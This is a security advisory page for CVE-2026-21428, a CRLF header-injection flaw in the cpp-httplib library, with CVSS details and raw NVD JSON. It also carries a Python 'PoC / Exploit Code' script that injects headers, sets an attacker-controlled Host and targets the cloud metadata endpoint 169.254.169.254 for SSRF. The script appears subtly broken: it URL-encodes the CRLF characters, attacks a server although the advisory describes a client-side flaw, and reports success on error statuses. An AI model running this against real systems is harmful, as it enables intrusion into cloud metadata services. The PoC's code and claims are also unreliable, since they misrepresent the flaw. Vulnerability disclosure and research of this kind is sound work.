Security Vulnerability Report
中文
CVE-2026-21428 CVSS 7.5 HIGH

CVE-2026-21428

Published: 2026-01-01 18:15:41
Last Modified: 2026-01-06 18:20:45

Description

cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to version 0.30.0, the ``write_headers`` function does not check for CR & LF characters in user supplied headers, allowing untrusted header value to escape header lines. This vulnerability allows attackers to add extra headers, modify request body unexpectedly & trigger an SSRF attack. When combined with a server that supports http1.1 pipelining (springboot, python twisted etc), this can be used for server side request forgery (SSRF). Version 0.30.0 fixes this issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:yhirose:cpp-httplib:*:*:*:*:*:*:*:* - VULNERABLE
cpp-httplib < 0.30.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21428 PoC - CRLF Injection in cpp-httplib # This PoC demonstrates header injection via CRLF characters import requests import urllib.parse def exploit_crlf_injection(target_url): """ Exploit CRLF injection in cpp-httplib < 0.30.0 Inject extra headers by using CRLF in header values """ # Craft malicious header value with CRLF injection # Inject additional headers: X-Injected-Header and Host injected_headers = "\r\nX-Injected-Header: malicious_value\r\nHost: attacker-controlled.com" # URL encode the CRLF characters for HTTP request encoded_payload = urllib.parse.quote(injected_headers) # Target endpoint that uses cpp-httplib target = f"{target_url}/api/vulnerable_endpoint" # Craft the exploit request headers = { 'User-Agent': 'CVE-2026-21428 PoC', 'X-Custom-Header': f'normal_value{encoded_payload}', 'Authorization': 'Bearer valid_token' } try: response = requests.get(target, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Headers: {response.headers}") # Check if injection was successful if 'X-Injected-Header' in str(response.headers): print("[!] VULNERABLE: CRLF injection successful!") return True else: print("[*] Request sent, injection may need server-specific conditions") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def ssrf_exploitation(target_url, internal_target): """ SSRF attack via CRLF injection combined with HTTP pipelining """ # SSRF payload using CRLF to manipulate Host header ssrf_payload = f"\r\nHost: {internal_target}" encoded_ssrf = urllib.parse.quote(ssrf_payload) headers = { 'User-Agent': 'CVE-2026-21428 SSRF PoC', 'X-Forwarded-Host': f'legitimate.com{encoded_ssrf}', 'Connection': 'keep-alive' } print(f"[*] Attempting SSRF to internal target: {internal_target}") try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code in [200, 301, 302, 400, 502, 503]: print(f"[!] SSRF attempt completed - status: {response.status_code}") return True except Exception as e: print(f"[*] SSRF request sent: {e}") return True return False if __name__ == "__main__": TARGET = "http://target-server:8080" INTERNAL_TARGET = "http://169.254.169.254/metadata" print("=" * 60) print("CVE-2026-21428 - cpp-httplib CRLF Injection PoC") print("=" * 60) # Test basic CRLF injection exploit_crlf_injection(TARGET) # Test SSRF exploitation ssrf_exploitation(TARGET, INTERNAL_TARGET)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21428", "sourceIdentifier": "[email protected]", "published": "2026-01-01T18:15:41.057", "lastModified": "2026-01-06T18:20:44.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to version 0.30.0, the ``write_headers`` function does not check for CR & LF characters in user supplied headers, allowing untrusted header value to escape header lines.\nThis vulnerability allows attackers to add extra headers, modify request body unexpectedly & trigger an SSRF attack. When combined with a server that supports http1.1 pipelining (springboot, python twisted etc), this can be used for server side request forgery (SSRF). Version 0.30.0 fixes this issue."}, {"lang": "es", "value": "cpp-httplib es una biblioteca HTTP/HTTPS multiplataforma de un solo archivo de cabecera C++11. Antes de la versión 0.30.0, la función 'write_headers' no verifica la presencia de caracteres CR y LF en las cabeceras proporcionadas por el usuario, lo que permite que un valor de cabecera no confiable escape las líneas de cabecera. Esta vulnerabilidad permite a los atacantes añadir cabeceras adicionales, modificar el cuerpo de la solicitud de forma inesperada y desencadenar un ataque SSRF. Cuando se combina con un servidor que soporta el pipelining de http1.1 (springboot, python twisted, etc.), esto puede utilizarse para la falsificación de solicitudes del lado del servidor (SSRF). La versión 0.30.0 corrige este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yhirose:cpp-httplib:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.30.0", "matchCriteriaId": "884C94CD-B632-4081-9141-BB0FBFE2516E"}]}]}], "references": [{"url": "https://github.com/yhirose/cpp-httplib/commit/98048a033a532ff22320ce1d11789f8d5710dfcd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/yhirose/cpp-httplib/releases/tag/v0.30.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-wpc6-j37r-jcx7", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}